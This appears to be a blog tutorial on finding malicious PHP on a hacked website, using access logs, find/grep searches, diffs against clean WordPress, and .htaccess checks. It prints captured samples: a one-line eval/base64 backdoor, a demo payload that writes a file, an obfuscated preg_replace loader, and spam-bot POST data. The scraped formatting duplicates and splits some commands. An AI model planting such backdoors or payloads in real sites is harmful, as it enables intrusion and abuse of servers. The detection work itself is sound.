Check your Access Logs

To start things off, I'd like to share some entries from the access log site of my friends' compromised website. IPREMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" IPREMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" 1 2

IPREMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" IPREMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"

Checking your server access logs is something you should do often, however if you are not careful, URLs such as above that may look innocent may fly right by you.

The two files above are uploaded attack scripts, how they got there is largely irrelevant as the php code on any two servers is likely to be different. However, in this particular example, an outdated IP.Board version was exploited and attackers were able to add their own scripts to writable directories such as the user upload directory and the directory where IP.Board stores cached skin images. This is a common attack vector as many people change the permissions of these directories to 777 or world writable, more on this in a moment.

Take a closer look at the above log lines, does anything stick out to you?

Notice that the access logs are POST requests and not GET requests.

The reason that attackers are likely to do this is to make access logs more innocent as most logs do not store post data. Identifying Malicious PHP Files

There are several ways to flag php files on your server as suspicious, the following are the best ones.

Tip: These are shell commands, run them from the document root of your website. Finding Recently Modified PHP Files

Lets start simple, say you haven't made any changes to your php code in some time, the following command searches for all php files in the current directory tree changed in the last week. You can modify the mtime option as desired, e.g -mtime -14 for two weeks. Shell find . -type f -name '*.php' -mtime -7 1

find . -type f -name '*.php' -mtime -7

My compromised server returned results such as: ./uploads/monthly_04_2008/index.php ./uploads/monthly_10_2008/index.php ./uploads/monthly_08_2009/template.php ./uploads/monthly_02_2013/index.php 1 2 3 4

./uploads/monthly_04_2008/index.php ./uploads/monthly_10_2008/index.php ./uploads/monthly_08_2009/template.php ./uploads/monthly_02_2013/index.php

These are all attack scripts uploaded to the user upload directory.

Note: this command will generate false positives if you legitimately modified php files in the given time period. The following methods are much more effective. Search all PHP Files for Suspicious Code

This is a far better approach, the following commands search for common php code that attack scripts

contain. We'll start simple and get to more advanced searches.

First check for files that contains eval, base64_decode, gzinflate or str_rot13. find . -type f -name '*.php' | xargs grep -l "eval *(" –color find . -type f -name '*.php' | xargs grep -l "base64_decode *(" –color find . -type f -name '*.php' | xargs grep -l "gzinflate *(" –color 1 2 3

find . -type f -name '*.php' | xargs grep -l "eval *(" –color find . -type f -name '*.php' | xargs grep -l "base64_decode *(" –color find . -type f -name '*.php' | xargs grep -l "gzinflate *(" –color

Tip: The first parameter of find is the directory to search in, a period means the current directory (and all sub directories). You can change this parameter to any valid directory name to reduce your result set, e.g: Shell find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" –color 1

find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" –color

If you remove the -l option from grep, it will show the text matched in the file. I like to take this a step further and look for the above commands combined together which is very common. find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" –color 1

find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" –color

The above command will find php files contain eval(str_rot13(base64_decode(

The syntax for grep is really easy and you can modify this to suit your needs. Take a look at the value we are searching for, from above it's "eval *(str_rot13 *(base64_decode *(".

The blank space followed by a * means zero or more spaces. This means the above search will make examples such as these: PHP eval(str_rot13(base64_decode eval(str_rot13(base64_decode eval(str_rot13(base64_decode 1 2 3

eval(str_rot13(base64_decode eval(str_rot13(base64_decode eval(str_rot13(base64_decode

Tip: Expand on this to search for functions that could be used maliciously, such as mail, fsockopen, pfsockopen, stream_socket_client, exec, system and passthru. You can combine a search for all of these terms into one command: find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\(" 1

find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\("

Note: We are using egrep here, not grep, this allows for better regular expression matching.

Finally, here is a lesser known way to hide code: PHP preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ FILE GOES ON FOR A LONG TIME…… lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B","."); ?> 1 2 3 4 5 6 7

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ

FILE GOES ON FOR A LONG TIME……

lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B",".");

?>

preg_replace with the e modifier will execute that code, it looks fancy, however it’s really just gzipped base64 encoded php using some hexadecimal character codes.

\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28

translates to eval (gzinflate (base64_decode (and at the end of the file,

\x29\x29\x29\x3B

translates to))) ;

This command will help you find uses of preg_replace that you should look into: Shell find . -type f -name '*.php' | xargs egrep -i “preg_replace *\[1)]; echo chr(hexdec('x3B')); *outputs); 1 2 3 echo chr(hexdec('x29')); echo chr(hexdec('x3B'));* outputs);

You can use find to search your php files for these hex codes for further inspection. find . -type f -name '*.php' | xargs grep -il x29 1

find . -type f -name '*.php' | xargs grep -il x29

This might be a good approach if you know you don’t use hex. Stating the Obvious

Most of the methods so far assume that the attacker uploaded some form of obfuscated code, other attackers may simply modify existing php code that you uploaded. When this happens the code may try to look natural and match the style of the existing script or it may try to be confusing.

To get around this you need a clean copy of your code, if you’re using a widely used php script like wordpress, vbulletin, IP.Board etc – you’re set. If not hopefully you use git or some other version control system that you can get a clean copy of your code.

For this example, I’ll use wordpress.

I have two directories, wordpress-clean which contains a freshly downloaded copy of wordpress and wordpress-compromised which contains a compromised file somewhere in the installation. Shell drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 . drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 .. drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised 1 2 3 4

drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 . drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 .. drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised

I can find the differences between my wordpress install and the clean wordpress install by running this command: diff -r wordpress-clean/ wordpress-compromised/ -x wp-content 1

diff -r wordpress-clean/ wordpress-compromised/ -x wp-content

Tip: make sure you use the same version of wordpress for the comparison.

I excluded wp-content from this search as everyone has custom themes and plugins. You can of course repeat this process for your plugins and themes. Download a fresh copy at wordpress.org and

modify the command as needed.

Here is the result of my search: diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php 302a303,306 > > if (isset($_REQUEST['x'])) { > eval(base64_decode($_REQUEST['x'])); > } 1 2 3 4 5 6

diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php 302a303,306

```
if (isset($_REQUEST['x'])) {
eval(base64_decode($_REQUEST['x']));
}
```

It found the malicious code! Out of Curiousity…

What could a potential attacker do with those 3 lines of code? First, the attacker would make a payload such as this: PHP $payload = “file_put_contents(\”../../wp-content/uploads/wp-upload.php\“, \”<?php\nphpinfo();\“);”; echo base64_encode($payload); *output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs= 1 2 3 $payload = “file_put_contents(\”../../wp-content/uploads/wp-upload.php\“, \”<?php\nphpinfo();\“);”; echo base64_encode($payload);* output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=

Then they can either send a POST or GET request to http://YOURSITE/wp-admin/includes/class-wp-importer.php with the x parameter created by the script above. The result would be that a file is created at /wp-content/uploads/wp-upload.php that outputs your server’s PHP information. This is not bad in itself, the point is, the attacker can run any PHP code they desire.

Note: This only works if the wp-content/uploads directory is writable by PHP and it almost always is for wordpress installs and depending on the web server’s permissions, you may even be able to change read/write permissions of other files. Always search your writable upload directories for executable code

Using the techniques I have shown you so far, it’s easy to search for php code in your user upload directories. For wordpress, this would be Shell find wp-content/uploads -type f -name '*.php' 1

find wp-content/uploads -type f -name '*.php'

Tip: Here is a really simple bash script that will search for every directory with world writable permissions and find all php files in those directories. The results will be saved in a file called results.txt. Be careful, it will search recursively. Shell #!/bin/bash search_dir=$(pwd) writable_dirs=$(find $search_dir -type d -perm 0777) for dir in $writable_dirs do #echo $dir find $dir -type f -name '*.php' done 1 2 3 4 5 6 7 8 9 10

#!/bin/bash

search_dir=$(pwd) writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs do

```
#echo $dir
find $dir -type f -name '*.php'
```

done

Create the above file and give it executable permissions, assuming the file is called search_for_php_in_writable chmod +x search_for_php_in_writable 1

chmod +x search_for_php_in_writable

You can save this file in your home directory and then navigate to directories that you wish to search and run this command: ~/search_for_php_in_writable > results.txt ~/search_for_php_in_writable | less 1 2

~/search_for_php_in_writable > results.txt ~/search_for_php_in_writable | less

Note: If your website is on a shared host and the web server is not configured in a secure way, your website doesn't even have to be the one that gets exploited. A common upload to a vulnerable website is a php shell which is essentially a tool that gives the attacker a file browser among other things. They can use this tool to then upload attack scripts to all world writable folders on the server such as your uploads directory.

Note: Attackers commonly try to upload images that contain php code, it's also a good idea to search for image extensions that contain php keywords you have seen so far. find wp-content/uploads -type f | xargs grep -i php find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php 1 2

find wp-content/uploads -type f | xargs grep -i php find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php

Don't believe me? this file was uploaded as a jpg image to a compromised site. It looks like it could be mistaken as binary data. Here is the same file in a more "readable" format.

Still can't read it? neither could I before some deeper inspection. All of that code is meant run this function: PHP if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") { function shutdownCallback() { echo "<!–".md5("links")."–>"; } register_shutdown_function("shutdownCallback"); } 1 2 3 4 5 6

if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {

```
function shutdownCallback() {
    echo "<!--".md5("links")."-->";
}
register_shutdown_function("shutdownCallback");
```

}

What this script does is irrelevant, take away from this that you need to be checking your uploads directory.

In case you were wondering, this is simply a probe script to see if a host is vulnerable, the attack comes later. Where else could malicious code be hiding?

If your php code dynamically generates page content and your site was compromised, the attacker

may have updated your database and stored their malicious code in your raw data. Here is a way you can do some more thorough checks.

Go to your website, after it loads, view the page html source and save the source somewhere on your computer, for example mywebsite.txt; Run the following command Shell grep -i '<iframe' mywebsite.txt 1

grep -i '<iframe' mywebsite.txt

Attackers commonly insert iframes into compromised sites, check yours for any that you didn’t put there!

Tip: Use an extension like firebug for firefox to download your html source, the attacker may use javascript to create the iframes, these will not show up when viewing the source of the page in your browser because the DOM is manipulated after page load. There is also an extension called Live HTTP Headers for firefox that will show all requests for the page currently being viewed. This will make it easy to see if there is web requests that shouldn’t be there. Search your database

It’s also possible that an attacker added code to your database. This would only be the case if your script stored custom code such as plugins in a database like vBulletin does. Although uncommon, it’s still worth knowing. If you are exploited in this way, it’s more likely that the attacker would insert iframes into your tables that display data on your website, the above check will help with this.

In this example we’ll use mysql or a derivative.

For this I like to use PHPMyAdmin and this is unusual for me, I prefer to use comand line tools when available, however this tool is great for doing searches.

Personally I don’t run PHPMyAdmin on a production server, I download a copy of the database and run it on a local development server. If your database is large, searching the entire thing for small pieces of text is not advisable on a production server.

To search your database, open PHPMyAdmin, simply navigate to your database and click ‘Search’. You can search for strings such as %base64_% and %eval(%. You can re-use the search terms I’ve already outlined. Check .htaccess Files if you use Apache

If you use the apache web server, check your .htaccess files for suspicious modifications.

auto_append_file and auto_prepend_file include other php files to the beginning or end of all php files, attackers may use this to include their code. find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file; find . -type f -name '\.htaccess' | xargs grep -i auto_append_file; 1 2

find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file; find . -type f -name '\.htaccess' | xargs grep -i auto_append_file;

The following command searches for all .htaccess files in all subdirectories that contains ‘http’. This will list all redirect rules that may include malicious redirects. Shell find . -type f -name '\.htaccess' | xargs grep -i http; 1

find . -type f -name '\.htaccess' | xargs grep -i http;

Some malicious redirects only redirect based on user agent, it would also be a good idea to look for uses of HTTP_USER_AGENT in .htaccess files. The above commands can be modified easily, simply

change the keyword at the end followed by a semi colon.

For increased security, if you are able too, disable directory level configuration using .htaccess files and move the configuration to the main apache configuration instead. In the “Real World”

So, why do people want to exploit your site, what’s in it for them? For some, it’s a hobby but for others it’s a source of income.

Here is an example of an attack scripted uploaded to a compromised site. It relies solely on post data to operate so most server logs would be useless in this case. I was able to log the post requests, here is a sample POST request: Array ([lsRiY] ⇒ YGFsZWN2bXBCY21uLGFtbw== [eIHSE] ⇒ PNxsDhxNdV [mFgSo] ⇒ b2NrbmtsLzIwLG96LGNtbixhbW8= [dsByW] ⇒ PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m a3Q8PmMianBnZD8ganZ2cjgtLWhndnh2aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei InZjaWdsIiI+LXI8CD4tUUBNRls8CA== [GGhp] ⇒ a3ZAbFFTSlJSbFo= [AIQXa] ⇒ e3VWT2VvQ0hyS0ha) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

Array (

```
  [lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
  [eIHSE] => PNxsDhxNdV
  [mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
  [dsByW] =>
PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX
```

QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m a3Q8PmMianBnZD8ganZ2cjgtLWhndnh2aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei InZjaWdsIiI+LXI8CD4tUUBNRls8CA==

[GGhp] ⇒ a3ZAbFFTSlJSbFo=

```
  [AIQXa] => e3VWT2VvQ0hyS0ha
```

)

The attack script is basically a SPAM zombie that will send any email to anyone using your server based on a command sent through a post request. The keys in every post request can change and the script is very resourceful, it checks your installation for disabled functions and adapts to this. For example if php mail() is unavailable, it will try to create a socket to port 25 and send e-mail directly through smtp.

If you're interested in decoding the attack data, the function called n9a2d8ce3 at the end of the file does what you need. The cryptic POST data supplies the destination address and content of the e-mail. I'm not going to decode it here.

If you use the tips provided in this article, you will have no problem detecting scripts such as these. Conclusion

If you use common php scripts like wordpress, pay attention to critical or security updates not only for the base install, but for addons such as plugins as well. Most attackers will probe thousands of installations for known vulnerabilities, so if you are vulnerable, you will be found eventually.

If you are running in-house code, it's still good practice to do a sweep of your server every now and then, after all it doesn't have to be a vulnerability in your code, it may be a library that you use.

Part 2 is available: Steps to Take When you Know your PHP Site has been Hacked

1)
['|\"])(.).*\2[a-z]*e[^\1]*\1 *," –color 1find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," –color Tip: If you get a tonne of results from these find commands, you can save the results to a file or pipe them to another program called less which allows you to view the results, one page at a time. Press the f key to go forward and q to quit. e.g: Shell find . -type f -name '*.php' | xargs grep base64_ | less find . -type f -name '*.php' | xargs grep base64_ > results.txt 1 2 3find . -type f -name '*.php' | xargs grep base64_ | less find . -type f -name '*.php' | xargs grep base64_ > results.txt You can use any of the find and search commands shown above in this way. Tip: Note the hexadecimal at the end? x29, this is a closing bracket and x3B is a semi colon. You can confirm by running this: PHP echo chr(hexdec('x29'